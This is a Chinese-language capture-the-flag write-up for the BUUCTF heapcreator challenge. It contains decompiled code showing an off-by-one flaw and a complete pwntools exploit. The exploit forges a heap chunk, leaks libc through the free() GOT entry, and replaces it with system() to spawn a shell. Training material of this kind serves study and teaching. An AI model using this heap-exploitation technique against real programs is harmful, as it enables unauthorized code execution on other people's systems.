Post

hitcontraining_heapcreator

[BUUCTF]hitcontraining_heapcreator

UAFOff-By-One堆溢出

对应libc版本libc6_2.23-0ubuntu9_amd64

1
2
3
4
5
6
[*] '/home/bamuwe/heapcreator/heapcreator'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)
1
2
3
4
5
6
7
8
9
10
11
bamuwe@bamuwe:~/heapcreator$ ./heapcreator
--------------------------------
          Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Show a Heap
 4. Delete a Heap
 5. Exit
--------------------------------
Your choice :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 edit_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Content of heap : ");
    read_input(*(*(&heaparray + v1) + 1), **(&heaparray + v1) + 1LL);	//漏洞点
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

漏洞函数 ```python def add(size,content): io.sendlineafter(b’choice :’,b’1’) io.sendlineafter(b’Size of Heap :’,str(size)) io.sendlineafter(b’Content of heap:’,content)

def free(idx): io.sendlineafter(b’choice :’,b’4’) io.sendlineafter(b’Index :’,str(idx))

def edit(idx,content): io.sendlineafter(b’choice :’,b’2’) io.sendlineafter(b’Index :’,str(idx)) io.sendlineafter(b’Content of heap :’,content)

def show(idx): io.sendlineafter(b’choice :’,b’3’)
io.sendlineafter(b’Index :’,str(idx))

1
2
3
4
5
6
7
8
9
10
11
12
13
> 交互函数

思路:

通过`off-by-one`构造`fakechunk`,利用`fakechunk`泄露`libc`,更换`free()`地址为`system()`,得到`shell`

```python
add(0x18,b'0000')   		#0
add(0x10,b'1111')   		#1
add(0x10,b'2222')   		#2
add(0x10,b'/bin/sh\x00')    #3
edit(0,b'A'*0x18+p8(129))

image-20240426165211798

运行后截图

可以发现已经溢出了一字节(0x81),将这个chunk1释放,再申请回来就能够通过这个chunk1编辑其他chunk的内容

1
2
3
4
5
6
free(1)
add(0x70,b'A'*0x40+p64(0xdeadbeef)+p64(elf.got['free']))
show(2)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil("Done")[:-5].ljust(8,b'\x00'))
success(hex(free_addr))

image-20240426170324709

运行后截图

image-20240426170524597

对比可以更改了原来的BK伪造出fake_chunk,即此时的chun2已经是free()的地址

image-20240426171126423

继续计算出system()的值并且替换free()

1
2
3
libc_base = free_addr-0x83a70
sys_addr = lib.sym['system']+libc_base
edit(2,p64(sys_addr))

image-20240426171632077

测试用多打印一次chunk2的内容

free(3)就能构造出system(/bin/sh)得到shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
# context.log_level = 'debug'
io = gdb.debug('./heapcreator')
elf = ELF('./heapcreator')
lib = ELF('#####')

def add(size,content):
    io.sendlineafter(b'choice :',b'1')
    io.sendlineafter(b'Size of Heap :',str(size))
    io.sendlineafter(b'Content of heap:',content)
    
def free(idx):
    io.sendlineafter(b'choice :',b'4')
    io.sendlineafter(b'Index :',str(idx))

def edit(idx,content):
    io.sendlineafter(b'choice :',b'2')
    io.sendlineafter(b'Index :',str(idx))
    io.sendlineafter(b'Content of heap :',content)
    
def show(idx):
    io.sendlineafter(b'choice :',b'3')  
    io.sendlineafter(b'Index :',str(idx))

add(0x18,b'0000')   #chunk0
add(0x10,b'1111')   #chunk1
add(0x10,b'2222')   #chunk2/fake_chunk
add(0x10,b'/bin/sh\x00')    #chunk3

edit(0,b'A'*0x18+p8(129))
free(1)
add(0x70,b'A'*0x40+p64(0xdeadbeef)+p64(elf.got['free']))
show(2)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil("Done")[:-5].ljust(8,b'\x00'))
success(hex(free_addr))
libc_base = free_addr-0x83a70
sys_addr = lib.sym['system']+libc_base
edit(2,p64(sys_addr))
free(3)
io.interactive()

tips:

关于libc_base计算小技巧

1
2
success(hex(free_addr))
libc_base = free_addr-0x83a70	#0x83a70从何而来?

image-20240426172143920

This post is licensed under CC BY 4.0 by the author.